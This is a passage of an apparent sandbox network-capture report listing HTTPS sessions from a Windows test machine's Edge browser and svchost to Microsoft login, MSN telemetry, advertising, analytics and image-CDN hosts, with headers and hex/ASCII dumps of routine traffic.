6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49793	20.190.160.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-11-19 17:00:46 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 17:00:46 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 16:59:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 1d2c666a-0713-40ee-8822-2aa0c48d2c61 PPServer: PPV: 30 H: SN1PEPF0002F0EB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 17:00:45 GMT Connection: close Content-Length: 10197
2024-11-19 17:00:46 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49803	52.168.117.168	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035645027&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
2024-11-19 17:00:46 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 31 37 3a 30 30 3a 34 35 2e 30 32 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 62 35 37 37 34 35 64 2d 63 33 62 64 2d 34 30 38 61 2d 39 61 61 64 2d 32 63 66 35 62 66 65 36 62 35 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 32 34 31 37 37 34 31 39 30 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-19T17:00:45.020Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"4b57745d-c3bd-408a-9aad-2cf5bfe6b55e","epoch":"2417741908"},"app":{"locale
2024-11-19 17:00:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4a0aaf84bf3f4cd4927f2f4205560c8c&HASH=4a0a&LV=202411&V=4&LU=1732035646986; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 17:00:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e88df03e0a60439ab69684df4ed7af12; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 17:30:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1959 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 17:00:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49804	20.110.205.119	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	1175	OUT	GET /c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
2024-11-19 17:00:47 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54C6DB1DE9BC449EBCDB7DC6FE4E37E3&RedC=c.msn.com&MXFR=2346E46F5BBE6A5B0188F1535AD96B1F Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2346E46F5BBE6A5B0188F1535AD96B1F; domain=.msn.com; expires=Sun, 14-Dec-2025 17:00:47 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 19 Nov 2024 17:00:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49801	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 29229ccb-b01e-005c-228f-3a99fe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170046Z-185f5d8b95c95vpshC1NYC759c000000091000000000da4q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 17:00:47 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49802	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:47 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9ad988c9-e01e-004f-39a4-3aac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170047Z-185f5d8b95c4hl5whC1NYCeex000000008v000000000vsh6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 17:00:47 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49805	108.139.47.92	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	925	OUT	GET /b?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 19 Nov 2024 17:00:47 GMT Location: /b2?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=172dd52f68c30b46c60dd6f1732035647; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=172dd52f68c30b46c60dd6f1732035647; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 fa2a1404411f25eb7c3c4def0c2864e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: xT9zn11H915XrNXtXtveh8hcdsJBg8nENyd0gnjWHASmWX8ASGEQ9Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49806	20.75.60.91	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:46 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2346E46F5BBE6A5B0188F1535AD96B1F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=da473c000fda410ff89c0c3e3cd986f2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
2024-11-19 17:00:47 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 19 Nov 2024 17:00:46 GMT Connection: close
2024-11-19 17:00:47 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49812	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 07 Oct 2024 03:20:56 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: bcbfda71-25b7-487e-9d5d-89edbe92b8e0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=166972 Expires: Thu, 21 Nov 2024 15:23:39 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: e6 a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
